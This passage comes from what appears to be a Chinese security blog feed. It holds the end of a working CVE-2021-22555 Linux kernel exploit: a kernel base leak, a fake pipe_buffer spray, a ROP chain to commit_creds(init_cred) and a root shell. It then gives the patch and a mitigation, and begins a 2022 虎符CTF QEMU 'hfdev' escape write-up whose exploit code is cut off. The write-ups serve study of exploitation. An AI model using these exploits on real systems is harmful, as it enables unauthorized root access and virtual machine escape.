punctuation">(</span><span class="token string">"[-] pipe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"xi4oyu"</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking and freeing pipe_buffer object..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>                <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] read"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span> <span class="token operator">!=</span> MTYPE_FAKE<span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>                pipe_buffer_ops <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span><span class="token punctuation">;</span>                <span class="token comment">// break; // free all</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    kernel_offset <span class="token operator">=</span> pipe_buffer_ops <span class="token operator">-</span> <span class="token number">0xffffffff8223e140</span><span class="token punctuation">;</span> <span class="token comment">// anon_pipe_buf_ops</span>    kernel_base <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff81000000</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] pipe_buffer_ops = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> pipe_buffer_ops<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kernel_base = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kernel_base<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kernel_offset = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kernel_offset<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake pipe_buffer..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    buf <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">;</span>    buf<span class="token operator">-></span>ops <span class="token operator">=</span> msg_fake_addr <span class="token operator">+</span> <span class="token number">0x200</span><span class="token punctuation">;</span>    ops <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x200</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    ops<span class="token operator">-></span>release <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8172e1ac</span><span class="token punctuation">;</span> <span class="token comment">// push rsi ; jmp qword ptr [rsi + 0x39]</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8106f8c9</span><span class="token punctuation">;</span>    <span class="token comment">// add rsp, 0xd0 ; ret</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x39</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff81163ea0</span><span class="token punctuation">;</span> <span class="token comment">// pop rsp ; ret</span>    rop <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0xd0</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    ridx <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8108c650</span><span class="token punctuation">;</span> <span class="token comment">// pop rdi ; ret</span>    rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8286b780</span><span class="token punctuation">;</span> <span class="token comment">// init_cred</span>    rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff810c9f00</span><span class="token punctuation">;</span> <span class="token comment">// commit_creds</span>    rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8108c5bc</span><span class="token punctuation">;</span> <span class="token comment">// mov rsp, rbp ; pop rbp ; ret</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Releasing pipe_buffer objects..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">close</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] close"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">close</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] close"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">getRootShell</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>ret<span class="token operator">:</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgctl</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> IPC_RMID<span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgctl rmid"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>漏洞的修复很粗暴，就直接把 memset 这部分给去掉了，具体看 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b29c457a6511435960115c0f548c4360d5f4801d">patch</a></p><p>还有个缓解措施是，禁用用户命名空间的功能来阻止普通用户拿到 <code>CAP_NET_ADMIN</code> 权限，参考：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token number">0</span> <span class="token operator">></span> /proc/sys/user/max_user_namespaces<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>从溢出写 0 到 UAF 这里非常的巧妙，随后的 skb 和 pipe_buffer 结合利用 UAF 的思路应该是十分具备参考性的，非常值得学习</p><p>文中未明确提到的参考：</p><ul><li><a href="https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html">https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html</a></li><li><a href="https://bsauce.github.io/2021/09/23/CVE-2021-22555/">https://bsauce.github.io/2021/09/23/CVE-2021-22555/</a></li><li><a href="https://blog.51cto.com/weiguozhihui/1586777">https://blog.51cto.com/weiguozhihui/1586777</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;从4字节堆溢出写0到UAF，再到提权，该 linux kernel 漏洞的利用思路非常值得学习&lt;br&gt;&lt;img src=&quot;/images/c7dcc58a/pasted-0.png&quot; alt=&quot;exploit&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/categories/kernel/"/>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/tags/kernel/"/>
    
      <category term="CVE" scheme="http://www.xi4oyu.top/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>2022-虎符CTF-hfdev</title>
    <link href="http://www.xi4oyu.top/cdcd3a27/"/>
    <id>http://www.xi4oyu.top/cdcd3a27/</id>
    <published>2022-03-26T09:42:00.000Z</published>
    <updated>2022-03-26T09:42:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p><img src="/images/cdcd3a27/pasted-1.png" alt="pwn!"><br>off-by-one 藏得挺深啊</p><span id="more"></span><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>start_qemu.sh 文件如下</p><pre class="line-numbers language-none"><code class="language-none">#!&#x2F;bin&#x2F;sh#gdb -args \.&#x2F;qemu-system-x86_64 \-m 256M \-kernel bzImage \-hda rootfs.img \-append &quot;console&#x3D;ttyS0 quiet root&#x3D;&#x2F;dev&#x2F;sda rw init&#x3D;&#x2F;init oops&#x3D;panic panic&#x3D;1 panic_on_warn&#x3D;1 kaslr&quot; \-monitor &#x2F;dev&#x2F;null \-smp cores&#x3D;1,threads&#x3D;1 \-cpu kvm64,+smep,+smap \-L pc-bios \-device hfdev \-no-reboot \-snapshot  \-nographic<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到添加了一个叫 <code>hfdev</code> 的设备，将 qemu-system-x86_64 拖入 IDA，函数窗口搜索字符串 <code>hfdev</code> 找到对应函数进行分析</p><p><img src="/images/cdcd3a27/pasted-2.png" alt="functions"></p><h3 id="HfdevState"><a href="#HfdevState" class="headerlink" title="HfdevState"></a>HfdevState</h3><p>通过逆向分析可以知道，State 大概是这样一个结构体</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">aligned</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">HfdevState</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> pub<span class="token punctuation">[</span><span class="token number">2400</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">MemoryRegion</span> pmio<span class="token punctuation">;</span> <span class="token comment">// size = 0x100</span>  <span class="token class-name">uint64_t</span> phy_src<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> r_size<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> pos<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> cur_size<span class="token punctuation">;</span>  <span class="token class-name">int64_t</span> time<span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">Req</span> req<span class="token punctuation">;</span>  <span class="token comment">// size = 0x400</span>  <span class="token keyword">char</span> write_buf<span class="token punctuation">[</span><span class="token number">768</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> can_run_hfdev_func<span class="token punctuation">;</span>  <span class="token class-name">uint64_t</span> req_addr<span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">QEMUTimer</span> <span class="token operator">*</span>timer<span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">QEMUBH</span> <span class="token operator">*</span>qemubh<span class="token punctuation">;</span>  <span class="token keyword">char</span> padding<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="hfdev-class-init"><a href="#hfdev-class-init" class="headerlink" title="hfdev_class_init"></a>hfdev_class_init</h3><p>可以看到 vendor_id 和 device_id<br><img src="/images/cdcd3a27/pasted-3.png" alt="hfdev_class_init"></p><p>利用 lspci，找到对应的设备 resource 信息，可以找到 PMIO 的端口基址<br><img src="/images/cdcd3a27/pasted-16.png" alt="lspci"></p><h3 id="pci-hfdev-realize"><a href="#pci-hfdev-realize" class="headerlink" title="pci_hfdev_realize"></a>pci_hfdev_realize</h3><p>只提供 PMIO<br><img src="/images/cdcd3a27/pasted-4.png" alt="pci_hfdev_realize"></p><p>同时还可以看到，创建了一个 timer 和 一个 QEMUBH</p><p>这两个东西了解不多，翻源码看了看，大致就是都可以用来做异步回调的事情</p><p>可以看到 timer 的回调函数是 hfdev_func，QEMUBH 的回调函数是 hfdev_process</p><h3 id="hfdev-func"><a href="#hfdev-func" class="headerlink" title="hfdev_func"></a>hfdev_func</h3><p>可以看到，timer 的操作是把 req_addr 指向的数据拷贝到 write_buf 中，同时这个偏移 pos 是可以无限增长的，如果可以多次触发 timer，就能让这个越界越到后面的数据，包括 timer 和 bh 的指针<br><img src="/images/cdcd3a27/pasted-6.png" alt="hfdev_func"></p><h3 id="hfdev-process"><a href="#hfdev-process" class="headerlink" title="hfdev_process"></a>hfdev_process</h3><p>开头先从指定的物理地址读取一个结构体<br><img src="/images/cdcd3a27/pasted-8.png" alt="Req"></p><p>大概长这样：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">Req</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint8_t</span> cmd<span class="token punctuation">;</span>  <span class="token keyword">union</span> Body body<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">union</span> Body<span class="token punctuation">&#123;</span>  <span class="token keyword">struct</span> <span class="token class-name">Reader</span> reader<span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">Encoder</span> encoder<span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">Timer</span> timer<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">Reader</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint64_t</span> phy_addr<span class="token punctuation">;</span>  <span class="token class-name">uint16_t</span> size<span class="token punctuation">;</span>  <span class="token keyword">char</span> data<span class="token punctuation">[</span><span class="token number">1013</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">Encoder</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint8_t</span> addKey<span class="token punctuation">;</span>  <span class="token class-name">uint8_t</span> xorKey<span class="token punctuation">;</span>  <span class="token class-name">uint16_t</span> subcmd<span class="token punctuation">;</span>  <span class="token class-name">uint16_t</span> enc_num<span class="token punctuation">;</span>  <span class="token keyword">char</span> data<span class="token punctuation">[</span><span class="token number">1017</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">Timer</span><span class="token punctuation">&#123;</span>  <span class="token class-name">uint16_t</span> size<span class="token punctuation">;</span>  <span class="token class-name">uint16_t</span> off<span class="token punctuation">;</span>  <span class="token keyword">char</span> data<span class="token punctuation">[</span><span class="token number">1019</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>大致对应三种操作</p><h4 id="Reader"><a href="#Reader" class="headerlink" title="Reader"></a>Reader</h4><p>拷贝 write_buf 中的数据到指定的物理地址<br><img src="/images/cdcd3a27/pasted-9.png" alt="op reader"></p><h4 id="Timer"><a href="#Timer" class="headerlink" title="Timer"></a>Timer</h4><p>可以看到这里使用了 timer_mod，翻看源码可以了解到这是设置定时器，触发即可回调 hfdev_func，同时这里有个变量决定了是否可以调用 timer_mod，而且 hfdev_func 里面也修改这个变量使其只能调用一次<br><img src="/images/cdcd3a27/pasted-15.png" alt="op timer"></p><h4 id="Encoder"><a href="#Encoder" class="headerlink" title="Encoder"></a>Encoder</h4><p>这里有两种操作，首先 0x2202 对应的是把 data 进行一定的编码后存进 write_buf 里<br><img src="/images/cdcd3a27/pasted-11.png" alt="op encoder 1"></p><p>0x2022 则是对 write_buf 和 data 异或编码<br><img src="/images/cdcd3a27/pasted-12.png" alt="op encoder 2"></p><p>同时可以看到这里比较用的是 <code>&gt;=</code>，存在off-by-one（可恶，比赛的时候就没看出来）</p><h3 id="hfdev-port-write"><a href="#hfdev-port-write" class="headerlink" title="hfdev_port_write"></a>hfdev_port_write</h3><p>写端口这里就是设置各种参数，还有就是触发 bh 的事件回调的操作<br><img src="/images/cdcd3a27/pasted-13.png" alt="hfdev_port_write"></p><h3 id="hfdev-port-read"><a href="#hfdev-port-read" class="headerlink" title="hfdev_port_read"></a>hfdev_port_read</h3><p>读取各种参数，没啥好说的<br><img src="/images/cdcd3a27/pasted-14.png" alt="hfdev_port_read"></p><h2 id="利用分析"><a href="#利用分析" class="headerlink" title="利用分析"></a>利用分析</h2><p>现有的信息：</p><ol><li>timer 的 pos 不断增长的过程中可以越界</li><li>pos 越界后，利用 reader 可以读到 write_buf 后面的信息，比如 timer 对象指针和 bh 对象指针</li><li>pos 的越界，也让 encoder 可以修改 timer 指针和 bh 指针，可以伪造这两个对象劫持程序执行流</li><li>encoder 的 0x2022 功能存在 off-by-one</li></ol><h3 id="off-by-one-修改-checker"><a href="#off-by-one-修改-checker" class="headerlink" title="off-by-one 修改 checker"></a>off-by-one 修改 checker</h3><p>首先得控制 checker （即 can_run_hfdev_func）变量，以进行多次触发 timer，具体步骤如下：</p><ol><li>使用 encoder 0x2202 功能，让 pos = 0x200</li><li>触发 timer，pos += 0x100</li><li>encoder 0x2022 功能，off-by-one，修改 <code>write_buf[0x300]</code>，这刚好是 checker 变量的位置</li></ol><p>代码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">set_phy_addr</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">set_request_size</span><span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// leak heap</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"1. leaking heap"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// getchar();</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos = 0x200"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token 